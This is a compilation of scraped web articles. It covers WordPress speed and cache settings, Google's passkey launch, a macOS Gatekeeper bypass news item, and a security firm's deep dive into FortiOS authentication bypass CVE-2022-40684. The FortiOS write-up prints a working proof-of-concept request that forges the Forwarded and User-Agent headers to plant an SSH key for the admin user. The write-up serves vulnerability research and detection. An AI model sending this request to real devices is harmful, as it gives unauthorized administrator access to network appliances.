  • Plugins – think of Query Monitor, Wordfence’s live traffic report, and backup/statistic plugins (they all run background tasks). You might be able schedule these, disable specific features in plugins, or delete the plugin completely. Plugins/themes can also leave behind autoloaded data when you delete them which can be cleaned up in the wp_options table.
  • Autosaves – when you’re editing a post, WordPress autosaves a draft every minute. You can use a simple line of code (or Perfmatters) to increase this to something like 5 minutes.
define('AUTOSAVE_INTERVAL', 300); // seconds
  • Heartbeat – called every 15s and can usually be disabled in the frontend/backend, then limited in the post editor since you probably want to keep features there (like autosaves).
  • Pingbacks – disable pingbacks since you don’t want a notification every time you add an internal link. You may want to leave trackbacks on to help notify blogs you linked to them.
  • Post revisions –  stored every time you hit save, publish, or update and accumulate over time. You can limit revisions in some optimization plugins, manually with code, or use WP-Optimize to run scheduled database cleanups while keeping a certain number of revisions.
define( 'WP_POST_REVISIONS', 10 );
  • Plugin data sharing – disable in plugins to save a little resources, sorry plugin developers!
  • Bots – blocking spam bots and using Cloudflare’s crawler hints saves resources from bots.
  • Comment spam – I use Antispam Bee and blacklist these words in the Discussion settings.
  • Hosting features – WP Johnny has nice tips on disabling unused services in your hosting account like the DNS, email, FTP/SFTP, proxies, or other services if you’re not using them.
  • Bloat removal plugins – using plugins like Unbloater + Disable WooCommerce Bloat help.

20. Mobile

Poor mobile scores in PSI is a common issue. Most desktop optimizations transfer over to mobile so start with “general optimizations” first. Otherwise, here are mobile-specific tips.

  • Resize images for mobile – image CDNs and adaptive image plugins do this.
  • Reduce latency – use a faster DNS, faster TLS versions, and Cloudflare’s 0-RTT.
  • Replace sliders/galleries with static images – use responsive editing to do this.
  • Remove unused CSS/JS – Perfmatters can disable unused CSS/JS by device type.
  • Don’t use AMP – lots of challenges and most WordPress users agree not to use it.
  • Fix mobile layout shifts – Google’s layout shift debugger tests mobile layout shifts.
  • Use mobile caching – enable this in your cache plugin or use one that supports this.
  • Know when to use separate mobile cache – check your cache plugin documentation.
  • Downgrade image quality on slow connections – try Cloudflare Mirage or Optimole.
  • Check your responsiveness – even if you use a responsive theme, check this manually.
  • Add a “load more comments” button on mobile – helps if you have lots of comments.
Flyingpress responsive images
Most image CDNs serve smaller images to mobile (but not RocketCDN)
Perfmatters disable plugins on mobile
Disable specific files/plugins from loading on mobile in Perfmatters

21. WooCommerce

WooCommerce sites often have more plugins, scripts, styles, and are more resource-hungry than static sites. You will need to optimize your website even more if you want good results.

  • Hosting – wphostingbenchmarks.com ran tests for multiple WooCommerce hosts, although I think there are much better options than the ones tested (I would personally lean towards something like Rocket.net, GridPane, RunCloud). Obviously very important.
  • Remove WooCommerce admin bloat – Disable WooCommerce Bloat is good for this.
  • Cloudflare Argo + Tiered Cache  – specifically good for speeding up dynamic requests.
  • Redis – also specifically good for WooCommerce (especially Redis Object Cache Pro).
  • Go easy on WooCommerce Extensions – just like other plugins, be minimal with these.
  • Unload WooCommerce plugins – Woo plugins are infamously bad with loading across your entire site. Use your asset unloading plugin to disable them where they’re not used.
  • Product image size – Appearance → Customize → WooCommerce → Product Images.
  • Increase memory limit – WooCommerce sites usually require increasing it even more.
  • Browser cache TTL – Google recommends 1 year but 1 month is good for dynamic sites.
  • Elasticsearch – speeds up searches especially for websites with thousands of products.
  • Delete expired transients – these can build up quickly so delete them more frequently.

22. Security

With the right optimizations (and a firewall), you shouldn’t need a security plugin.

Wordpress security checklist 1

A few other tips:

  • Hide your WordPress version.
  • Use a host that takes security seriously.
  • Add security headers (try the HTTP Headers plugin).
  • Use Cloudflare firewall rules (i.e. only access wp-login from your IP).
  • Disable file editing to prevent hackers from editing theme/plugin files.
  • Follow security-related social media accounts like Cloudflare/Wordfence.
  • Check for known vulnerabilities before updating things (especially plugins).

23. PHP Version

Only 7% of websites use PHP 8.

Come on y’all, you already know higher PHP versions are faster and more secure. Google “update PHP version [your host]” and you’ll find instructions. If updating breaks your site, just revert back to your older version (or remove incompatible plugins that aren’t maintained well).

Wordpress php versions
PHP version used by WordPress sites (source: WordPress stats)

24. Make Sure Optimizations Are Working

You set things up, but are they working? Make sure they are.

  • Caching – cache plugins should have documentation to check if the caching is working.
  • Redis/memcached – LiteSpeed Cache’s connection test and most Redis plugins tell you.
Litespeed cache object cache
Confirm Redis is working (screenshot is in LiteSpeed Cache)
  • CDN Analytics – how many requests are you blocking from bots, hotlink protection, and WAF? What is your cache hit ratio (hopefully around 90%)? CDN analytics are very useful.
  • Dr. Flare – Chrome Extension to view tons of Cloudflare stats like your cache hit ratio, uncached requests, non-Cloudflare requests, how much % was reduced by Polish/Minify.
  • CDN rewrites – are your files actually being served from your CDN? Check your CDN Analytics, Dr. Flare, or view your source code to make sure files are being served from the CDN when using a CDN URL, like this: cdn.mywebsite.com/wp-content/uploads/logo.png. If you’re using BunnyCDN, you may be able to serve more files from BunnyCDN by adding your CDN URL to your cache plugin on top of using BunnyCDN’s plugin. It worked for me.
  • APO – verify Cloudflare’s APO is working by testing your website in uptrends.com then making sure headers exactly match with what Cloudflare shows in the documentation.
Test cloudflare apo
Confirm APO is working by checking headers
  • Asynchronous CSS – if you’re using this, cache plugins should also have documentation.
  • External cron jobs – check the logs in your hosting account to make sure these are firing.
  • Waterfall charts – after each optimization, you should ideally check its impact using a Waterfall chart (better than running another PageSpeed Insights test and testing scores).
  • Clear cache – you may need to clear cache or regenerate critical CSS to see your changes.

25. Speed Plugins

Here’s the full list.

Obviously you don’t need all these especially if you’re using a cache/optimization plugin that already does some of these, Cloudflare image optimizations, or you can code things manually.

PluginCategoryPrice
FlyingPressCachePaid
LiteSpeed CacheCacheFree
PerfmattersMultiple CategoriesPaid
CloudflareCDNPaid
Super Page Cache for CloudflareCDNFree
WP-OptimizeDatabaseFree
FlyingProxyCDNPaid
Flying PagesResource HintsFree
Flying ScriptsDelay JavaScriptFree
Flying AnalyticsAnalyticsFree
OptimoleImageFreemium
ShortPixelImageFreemium
ShortPixel Adaptive ImagesImageFreemium
WP YouTube LyteVideoFree
OMGFFontFree
WP Foft LoaderFontFreemium
Pre* Party Resource HintsResource HintsFree
BunnyCDNCDNPaid
WP CrontrolCron JobFree
UnbloaterBloat RemovalFree
DebloatBloat RemovalFree
Disable WooCommerce BloatBloat RemovalFree
Heartbeat ControlBloat RemovalFree
Disable XML-RPCBloat RemovalFree
Widget DisableBloat RemovalFree
Limit Login AttemptsSecurityFree
WPS Hide LoginSecurityFree
Redis Object CacheCacheFree
Blackhole For Bad BotsBlock BotsFree
Simple Local AvatarsCommentsFree
Preload Featured ImagesLCPFree
Query MonitorDiagnosticFree
WP Server Health StatsDiagnosticFree
WP Hosting BenchmarkDiagnosticFree
WP Hosting Performance CheckDiagnosticFree

26. Get Help

Still need help? I’m not for hire, but here’s what I got:

DIY

  • Search the WP Speed Matters Facebook Group.
  • Plugins like Perfmatters have great documentation.
  • Gijo Varghese and WP Johnny also put on quality articles.
  • My other articles (if you liked this one, I have plenty more).

Hire Help

  • BDKamol – Pronaya mainly works with Gutenberg, WooCommerce, and Genesis. He’s been helping me for over 10 years even when I launched my first website and had no visitors. He points me in the right direction and was a key part in launching my new blog, helping me with things like custom coding, CSS styling, theme/plugin recommendations, etc. Pronaya lives in Bangladesh and his communication (and my trust in him) are 100%.
  • WP Johnny – he’s a busy guy but you can try hiring him and his team. I was lucky enough to have him help me remove my page builder (which I regret using in the first place and should have known better). While the work is great, it can take awhile to get things done.
  • WP Fix It – hired them once to improve issues related to core web vitals. While I was very happy with the work, they closed my tickets without notice saying the project was done, even when I told them I would pay more since truly fixing the issues required more work.
Pronaya wordpress speed optimizer

27. My Setup

This will cost about $500/year.

It assumes you already have a lightweight theme (i.e. GeneratePress/Kadence) and pay yearly for Rocket.net since you get 2 months free. It also assumes you’re using Rocket.net’s lower $25/mo plan (I pay $50/mo for the Business plan). For my site, this is the best setup I’ve found.

My blog costs around $800/year which is a lot cheaper than I was paying (mainly because hosting gets expensive as you scale). Scaling on Rocket.net is reasonable since monthly visits and RAM are both 10x Kinsta’s and there’s no PHP worker limits since only about 10% of traffic hits the origin (due to Ben Gabler’s Cloudflare Enterprise setup who I suggest reaching out to).

LiteSpeed is also solid and can be cheaper since LiteSpeed Cache is free and email hosting is often included. Check out NameHeroChemiCloud, and Scala (they seem to have good specs and TrustPilot reviews). RunCloudGridPane, and JohnnyVPS are probably best for larger sites.

Cloudways is who I was using. I still think they’re better than most hosts but it gets expensive with all the add-ons, they use Apache servers, and Cloudflare Enterprise + Breeze need work.

ServicePriceNotes
Rocket.net$25/moRead my full reviewOMM1 = $1 first month1 year =  2 months free
Cloudflare EnterpriseFree on Rocket.netNo configurationFull page cachingI trust their config
GeneratePress$249 (one-time)Less CSS/JSUses GutenbergI use the “Search” theme
GenerateBlocks$39/yrMore block templates
FlyingPress$3.5/mo (renewal price)Gijo’s pluginGreat for CWVAnd for real usersConfigure the settings
Google Workspace$6/moMost cloud host don’t support email hosting
Perfmatters$24.95/yrAsset unloadingBloat removalOptimizations not found in WP Rocket or SG OptimizerConfigure the settings
Total Yearly Price$477.95/yrPlus one-time cost of GeneratePress

Of course I use other tools/plugins, but that’s my foundation.

I hope you learned something new! Drop me a comment with any questions/suggestions.

Cheers,
Tom

Source :
https://onlinemediamasters.com/slow-wordpress-site/

How To Serve Static Assets With An Efficient Cache Policy In WordPress

If you ran your site through PageSpeed Insights, you may see a recommendation to serve static assets with an efficient cache policy.

Serve static assets with an efficient cache policy

This is flagged when you have a short cache expiration for images, fonts, media, scripts, and stylesheets. Google fails the audit if the cache expiration is under 180 days (259200 minutes). This simply means you need to adjust your cache expiration for those files to 180 days or over.

In most cases, you will login to your hosting account and adjust the static cache expiry (or similar) to 180 days. However, this can be quite a long time that visitors won’t see an updated version of those files. If you change these files frequently, a longer cache lifespan may not be best and you may want to make it shorter (even if it’s flagged). Google warns you about this.

I’ll cover a few other ways to serve static assets with an efficient cache policy in WordPress specifically for Cloudflare, other CDNs, Google Analytics, WP Rocket, and third-party scripts.

  1. NGINX
  2. Cloudflare
  3. Other CDNs
  4. WP Rocket
  5. LiteSpeed Cache
  6. W3 Total Cache
  7. Google Analytics
  8. Google Fonts
  9. Third-Party Scripts
  10. Purge Files And Retest

1. NGINX

Some hosts using NGINX let you adjust the cache expiration:

  • Login to your hosting account.
  • Find the static cache expiry option (or similar).
  • Set the static cache expiry to 259200 minutes (180 days).
Static cache expiry

Alternatively, add this code to your server’s configuration file (borrowed from Kinsta).

location ~* \.(js|css|png|jpg|jpeg|gif|svg|ico)$ {
 expires 180d;
 add_header Cache-Control "public, no-transform";
}

If you’re not using a host that lets you to change this, contact them and request it.

2. Cloudflare

Cloudflare has it’s own browser cache expiration.

Login to Cloudflare and go to Caching → Browser Cache TTL, then set it for “6 months.”

Cloudflare-browser-cache-ttl

3. Other CDNs

Most other CDNs let you change the browser cache expiration.

For example, in BunnyCDN, go to Pullzone → Your Website → Cache → Browser Cache Expiration. In this case, there is no option for 180 days. You can either set it for 1 year or “match server cache expiration.” You’ll need to make sure your server uses the correct cache expiration.

Bunnycdn browser cache expiration

4. WP Rocket

WP Rocket has documentation on how their browser caching works.

This code is automatically added to your .htaccess file when you activate WP Rocket. But you will notice the browser cache expiration for images, fonts, and other files is 4 months (about 2 months short of Google’s 180 day requirement). It means you’ll need to change it to 180 days.

# Expires headers (for better cache control)

ExpiresActive on
    ExpiresDefault                              "access plus 1 month"
    # cache.appcache needs re-requests in FF 3.6 (~Introducing HTML5)
    ExpiresByType text/cache-manifest           "access plus 0 seconds"
    # Your document html
    ExpiresByType text/html                     "access plus 0 seconds"
    # Data
    ExpiresByType text/xml                      "access plus 0 seconds"
    ExpiresByType application/xml               "access plus 0 seconds"
    ExpiresByType application/json              "access plus 0 seconds"
    # Feed
    ExpiresByType application/rss+xml           "access plus 1 hour"
    ExpiresByType application/atom+xml          "access plus 1 hour"
    # Favicon (cannot be renamed)
    ExpiresByType image/x-icon                  "access plus 1 week"
    # Media: images, video, audio
    ExpiresByType image/gif                     "access plus 4 months"
    ExpiresByType image/png                     "access plus 4 months"
    ExpiresByType image/jpeg                    "access plus 4 months"
    ExpiresByType image/webp                    "access plus 4 months"
    ExpiresByType video/ogg                     "access plus 4 months"
    ExpiresByType audio/ogg                     "access plus 4 months"
    ExpiresByType video/mp4                     "access plus 4 months"
    ExpiresByType video/webm                    "access plus 4 months"
    # HTC files  (css3pie)
    ExpiresByType text/x-component              "access plus 1 month"
    # Webfonts
    ExpiresByType font/ttf    "access plus 4 months"
    ExpiresByType font/otf    "access plus 4 months"
    ExpiresByType font/woff   "access plus 4 months"
    ExpiresByType font/woff2  "access plus 4 months"
    ExpiresByType image/svg+xml                 "access plus 1 month"
    ExpiresByType application/vnd.ms-fontobject "access plus 1 month"
    # CSS and JavaScript
    ExpiresByType text/css                      "access plus 1 year"
    ExpiresByType application/javascript        "access plus 1 year"

Edit your .htaccess (you can use Htaccess File Editor if you don’t know how). Change the expiration from 4 months to 180 days. You may only want to do this for file types being flagged.

Wp rocket cache policy

WP Rocket also suggests to check with your host to make sure they don’t block WP Rocket’s rules and that Mod_expires is enabled.

5. LiteSpeed Cache

To serve statics assets with an efficient cache policy using LiteSpeed Cache, go to LiteSpeed Cache Settings > Browser. Enable browser cache and the browser cache TTL should be left as default (31557600 seconds). If you still see errors, check if your host or CDN is overriding this.

Serve static assets with efficient cache policy - litespeed cache

6. W3 Total Cache

If you need to serve static assets with an efficient cache policy in W3 Total Cache, go your Browser Cache settings and change the Expires header lifetime to at least 15552000s (180 days). Make sure the cache expiration in your hosting and CDN settings aren’t overriding this.

Serve static assets with efficient cache policy w3 total cache

7. Google Analytics

Google Analytics can also cause errors when serving static assets with an efficient cache policy.

If Google Analytics is appearing in PageSpeed Insights for this recommendation, CAOS Analytics lets you host analytics locally and adjust the cookie expiration period. WP Rocket’s Google Tracking Addon hosts it locally but doesn’t give you other options for the tracking code.

  • Install the CAOS Analytics plugin.
  • Go to Settings → Optimize Google Analytics → Advanced Settings → Cookie Expiry Period.
  • Set it to 180 days.
Caos analytics cookie expiry period

I recommend checking out other features in the CAOS Analytics plugin. Using a minimal analytics tracking code and serving it from your CDN can be beneficial for WordPress speed.

8. Google Fonts

Just like you hosted Google Analytics locally to control the cache lifespan, you can do the same thing with Google Fonts.

But they need to be hosted locally on your server (not pulling from fonts.gtstatic.com). You can do this by downloading your fonts directly from the Google Fonts website (remember to be minimal with font families and weights), converting them to WOFF2 format using a tool like Transfonter, then adding them to your CSS. Alternatively, you can also try the the OMGF plugin.

Once fonts are hosting locally, follow step #4 to set the cache expiration to 180 days for fonts.

9. Third-Party Scripts

Third-party code isn’t hosted on your server, so you can’t optimize it.

Google Analytics and fonts are an exception since they can be hosted locally, and therefore, you can control the cache expiration. But serving  static assets with an efficient cache policy is not possible for AdSense, YouTube, Google Maps, and other third-party scripts that you might be getting errors for. Although, there may be other ways to optimize them like delaying JavaScript.

Third party usage

10. Purge Files And Retest

Once you’re done changing your cache expiration, remember to purge files and retest your WordPress site. Ideally you’ll have 100% for serve static assets with an efficient cache policy.

Frequently Asked Questions

How do I serve static assets with an efficient cache policy in WordPress?

Change your browser cache expiration to 180 days (or 259200 minutes). This is typically done in your hosting account, cache plugin, or CDN.

How do I serve static assets with an efficient cache policy using WP Rocket?

Edit your. htaccess file and locate the browser cache expiration code added by WP Rocket. Change the expiration from 4 months to 6 months for files flagged in Lighthouse, which are usually images or fonts.

How do I serve static assets with an efficient cache policy using Cloudflare?

Login to Cloudflare and go to Caching > Browser Cache TTL and change it to 6 months.

How do I serve static assets with an efficient cache policy using W3 Total Cache?

In your W3 Total Cache settings, go to Browser Cache and change Expires header lifetime to 180 days (15552000 seconds). Check your server and CDN to make sure they’re not overriding this setting.

See also: My Ultimate WordPress Speed Guide

Cheers,
Tom

Source :
https://onlinemediamasters.com/serve-static-assets-with-an-efficient-cache-policy-wordpress/

FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass Technical Deep Dive (CVE-2022-40684)

Introduction

Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system. To demonstrate the vulnerability in this writeup, we will be using FortiOS version 7.2.1

POC

Let’s examine the inner workings of this vulnerability. You can find our POC here. The vulnerability is used below to add an SSH key to the admin user, enabling an attacker to SSH into the effected system as admin.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by=”[127.0.0.1]:9000″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\”” }

Deep Dive

FortiOS exposes a management web portal that allows a user configure the system. Additionally, a user can SSH into the system which exposes a locked down CLI interface. Our first step after familiarizing ourselves with the system was to diff the vulnerable firmware with the patched firmware.

Firmware Examination

We obtained a VMware zip file of the firmware which contained two vmdk files. First, we examined the vmdk files with virt-filesystems and mounted them with guestmount:

$>ls *.vmdk
datadrive.vmdk fortios.vmdk
$>sudo virt-filesystems --filesystems -a fortios.vmdk 
/dev/sda1
$>sudo mkdir fortios_mount
$>sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount
$>cd fortios_mount
$>ls
boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys lost+found rootfs.gz rootfs.gz.chk

Next, we extract the root filesystem where we find a hand full of .tar.xz files:

$>sudo cp ../fortios_mount/rootfs.gz .
$>gunzip rootfs.gz 
$>cpio -i 2> /dev/null < rootfs 
$>ls
bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk var

Interestingly, attempting to decompress the xz files fail with corruption errors:

$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt

Its unclear if this is an attempt at obfuscation, but we find a version of xz in the sbin folder of the firmware. We can’t run it as is, but we can patch its linker to point to our system linker to finally decompress the files:

$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
$>find . -name xz
./sbin/xz
$>./sbin/xz --decompress *.xz
bash: ./sbin/xz: No such file or directory
$>file ./sbin/xz
./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped
$>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
$>./sbin/xz --decompress *.xz
$>ls *.tar
bin.tar migadmin.tar node-scripts.tar usr.tar

Next, we untar the files and begin examining their contents. We find /bin contains a large collection of binaries, many of which are symlinks to /bin/init. The migadmin folder appears to contain the frontend web code for the administrative interface. The node-scripts folder appears to contain a NodeJs backend for the administrative interface. Lastly, the usr folder contains a libaries folder and an apache2 configuration folder.

The Patch

We apply the same steps to firmware version 7.2.2 to enable diffing of the filesystems. In the bin folder, we find the large init binary has changed and in the node-scripts folder we find the index.js file has changed:

index.js diff

This diff shows that the httpsd proxy handler explicitly sets the forwardedx-forwarded-vdom, and x-forwarded-cert headers. This gives us a hint as to where to start looking for clues on how to exploit this vulnerability.

HTTPSD and Apache Handlers

After some searching, we discover that the init binary we mentioned earlier contains some strings matching the headers in the NodeJs diff. This init binary is rather large and appears to have a lot of functionality including Apache hooks and handlers for various management REST API endpoints. To aid in our research, we SSH’d into the system and enabled debug output for the httpsd process:

fortios_7_2_1 # diagnose debug enable 
fortios_7_2_1 # diagnose debug application httpsd -1
Debug messages will be on for 5 minutes.
fortios_7_2_1 # diagnose debug cli 8
Debug messages will be on for 5 minutes.

While investigating the forwarded header, we find an apache access_check_ex hook that parses the header, extracts the for and by fields, and attaches them to the Apache request_rec structure. You can see that the for field allows us to set the client_ip field on the request record’s connection.

forwarded header parsing

Additionally, we see a log message that mentioned which handler is used for a particular request.

[httpsd 12478 - 1665412044     info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request

After searching for the handler string, we find an array of handlers in the init binary:

hander array

After investigating some of the handlers, we find that many of them make a call to a function we named api_check_access:

api_check_access

We were immediately drawn to api_check_access_for_trusted_source which first checks if the vdom socket option is trusted, but then falls through to a function we called is_trusted_ip_and_user_agent.

is_trusted_ip_and_user_agent

You can see that this function checks that the client_ip is “127.0.01” and that the User-Agent header matches the second parameter. This function gets called with two possible parameters: “Node.js” and “Report Runner”. The “Node.js” path seems to perform some additional validation, but using “Report Runner” allows us to bypass authentication and perform API requests!

Weaponization

The ability to make unauthenticated request to the the REST API is extremely powerful. However, we noticed that we could not add or change the password for the admin user. To get around this we updated the admin users SSH-keys to allow us to SSH to the target as admin. See our original announcement.

Summary

To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerabilty:

  1. Using the Fowarded header an attacker is able to set the client_ip to  “127.0.0.1”.
  2. The “trusted access” authentication check verifies that the client_ip is “127.0.0.1” and the User-Agent is “Report Runner” both of which are under attacker control.

Any HTTP requests to the management interface of the system that match the conditions above should be cause for concern. An attacker can use this vulnerability to do just about anything they want to the vulnerable system. This includes changing network configurations, adding new users, and initiating packet captures. Note that this is not the only way to exploit this vulnerability and there may be other sets of conditions that work. For instance, a modified version of this exploit uses the User-Agent “Node.js”. This exploit seems to follow a trend among recently discovered enterprise software vulnerabilities where HTTP headers are improperly validated or overly trusted. We have seen this in recent F5 and VMware vulnerabilities.

Source :
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

Bringing passkeys to Android & Chrome

Posted by Diego Zavala, Product Manager (Android), Christiaan Brand, Product Manager (Account Security), Ali Naddaf, Software Engineer (Identity Ecosystems), Ken Buchanan, Software Engineer (Chrome)

Explore passkeys on Android & Chrome starting today

Starting today, Google is bringing passkey support to both Android and Chrome.

Passkeys are a significantly safer replacement for passwords and other phishable authentication factors. They cannot be reused, don’t leak in server breaches, and protect users from phishing attacks. Passkeys are built on industry standards and work across different operating systems and browser ecosystems, and can be used for both websites and apps.

Passkeys follow already familiar UX patterns, and build on the existing experience of password autofill. For end-users, using one is similar to using a saved password today, where they simply confirm with their existing device screen lock such as their fingerprint. Passkeys on users’ phones and computers are backed up and synced through the cloud to prevent lockouts in the case of device loss. Additionally, users can use passkeys stored on their phone to sign in to apps and websites on other nearby devices.

Today’s announcement is a major milestone in our work with passkeys, and enables two key capabilities:

  1. Users can create and use passkeys on Android devices, which are securely synced through the Google Password Manager.
  2. Developers can build passkey support on their sites for end-users using Chrome via the WebAuthn API, on Android and other supported platforms.

To try this today, developers can enroll in the Google Play Services beta and use Chrome Canary. Both features will be generally available on stable channels later this year.

Our next milestone in 2022 will be an API for native Android apps. Passkeys created through the web API will work seamlessly with apps affiliated with the same domain, and vice versa. The native API will give apps a unified way to let the user pick either a passkey or a saved password. Seamless, familiar UX for both passwords and passkeys helps users and developers gradually transition to passkeys.

Signing in to a website on an Android device with a passkey

For the end-user, creating a passkey requires just two steps: (1) confirm the passkey account information, and (2) present their fingerprint, face, or screen lock when prompted.

Signing in is just as simple: (1) The user selects the account they want to sign in to, and (2) presents their fingerprint, face, or screen lock when prompted.

Signing in to a website on a nearby computer with a passkey on an Android device

A passkey on a phone can also be used to sign in on a nearby device. For example, an Android user can now sign in to a passkey-enabled website using Safari on a Mac. Similarly, passkey support in Chrome means that a Chrome user, for example on Windows, can do the same using a passkey stored on their iOS device.

Since passkeys are built on industry standards, this works across different platforms and browsers – including Windows, macOS and iOS, and ChromeOS, with a uniform user experience.

We will continue to do our part for a passwordless future

We have worked with others in the industry, including Apple and Microsoft, and members within the FIDO Alliance and the W3C to drive secure authentication standards for years. We have shipped support for W3C Webauthn and FIDO standards since their inception.

Today is another important milestone, but our work is not done. Google remains committed to a world where users can choose where their passwords, and now passkeys, are stored. Please stay tuned for more updates from us in the next year as we introduce changes to Android, enabling third party credential managers to support passkeys for their users.

Source :
https://android-developers.googleblog.com/2022/10/bringing-passkeys-to-android-and-chrome.html

Details Released for Recently Patched new macOS Archive Utility Vulnerability

Security researchers have shared details about a now-addressed security flaw in Apple’s macOS operating system that could be potentially exploited to run malicious applications in a manner that can bypass Apple’s security measures.

The vulnerability, tracked as CVE-2022-32910, is rooted in the built-in Archive Utility and “could lead to the execution of an unsigned and unnotarized application without displaying security prompts to the user, by using a specially crafted archive,” Apple device management firm Jamf said in an analysis.

CyberSecurity

Following responsible disclosure on May 31, 2022, Apple addressed the issue as part of macOS Big Sur 11.6.8 and Monterey 12.5 released on July 20, 2022. The tech giant, for its part, also revised the earlier-issued advisories as of October 4 to add an entry for the flaw.

Apple described the bug as a logic issue that could allow an archive file to get around Gatekeeper checks, which is designed so as to ensure that only trusted software runs on the operating system.

The security technology achieves this by verifying that the downloaded package is from a legitimate developer and has been notarized by Apple – i.e., given a stamp of approval to ensure it’s not been maliciously tampered with.

Vulnerability

“Gatekeeper also requests user approval before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file,” Apple notes in its support documentation.

It’s also worth noting archive files downloaded from the internet are tagged with the “com.apple.quarantine” extended attribute, including the items within the file, so as to trigger a Gatekeeper check prior to execution.

But in a peculiar quirk discovered by Jamf, the Archive Utility fails to add the quarantine attribute to a folder “when extracting an archive containing two or more files or folders in its root directory.”

CyberSecurity

Thus by creating an archive file with the extension “exploit.app.zip,” it leads to a scenario where an unarchival results in the creation of a folder titled “exploit.app,” while also lacking the quarantine attribute.

This application “will bypass all Gatekeeper checks allowing an unnotarized and/or unsigned binary to execute,” Jamf researcher Ferdous Saljooki, who discovered the flaw, said. Apple said it resolved the vulnerability with improved checks.

The findings come more than six months after Apple addressed another similar flaw in macOS Catalina, Big Sur 11.6.5, and Monterey 12.3 (CVE-2022-22616) that could allow a malicious ZIP archive to bypass Gatekeeper checks.

Source :
https://thehackernews.com/2022/10/details-released-for-recently-patched.html